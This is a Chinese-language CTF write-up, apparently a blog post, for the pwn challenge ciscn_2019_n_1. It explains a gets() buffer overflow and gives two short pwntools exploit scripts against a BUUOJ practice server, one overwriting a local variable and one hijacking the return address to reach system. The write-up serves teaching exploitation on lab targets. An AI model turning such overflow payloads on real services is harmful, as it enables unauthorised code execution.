ciscn_2019_n_1
题目分析
这题的主要溢出点在于gets(v1),但是这题有两种思路,第一种方法是通过gets函数溢出修改变量v2的值,使v2能够通过if判断语句,执行system函数,第二种方法还是通过gets(v1)溢出,不过这次是通过libc来实现,将ebp覆盖为system函数的地址
第一种方法
通过学习栈的工作原理,可以发现v1数组的填充区域处于栈的最低位置,因此可以先通过填充44字节的M来到达v2的位置,然后以十六进制的方式覆盖v2的值,使v2能够通过if语句,依照此方法,构造payload
from pwn import* io=remote("node4.buuoj.cn",29011) payload=b'M'*(0x30-4)+p64(0x41348000) io.sendline(payload) io.interactive()
第二种方法
libc方法,这个跟之前打法类似,主要是劫持ret的返回地址,因此先填充48个字节的M,这个是将v1和v2的值填充,然后再加上8个字节的M将之前储存的rbp的值覆盖,然后用system函数的执行地址来覆盖ret返回地址,从而达到劫持返回地址的目的,这样payload为
from pwn import * io=remote("node4.buuoj.cn",29011) payload=b'M'*(0x30+8)+p64(0x4006BE) io.sendline(payload) io.interactive()
标签:ciscn,填充,地址,v1,v2,2019,io,payload From: https://www.cnblogs.com/alexlance/p/17435575.html